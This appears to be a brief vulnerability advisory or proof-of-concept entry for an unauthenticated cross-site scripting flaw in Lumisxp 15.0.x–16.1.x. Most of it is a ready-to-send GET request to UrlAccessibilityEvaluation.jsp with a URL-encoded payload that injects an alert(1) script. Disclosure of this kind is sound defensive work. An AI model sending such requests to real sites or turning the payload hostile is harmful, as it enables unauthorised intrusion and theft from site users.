Lumisxp versions 15.0.x to 16.1.x have an unauthenticated XSS vulnerability in the UrlAccessibilityEvaluation.jsp
page, specifically in the contentHtml parameter.
GET /lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt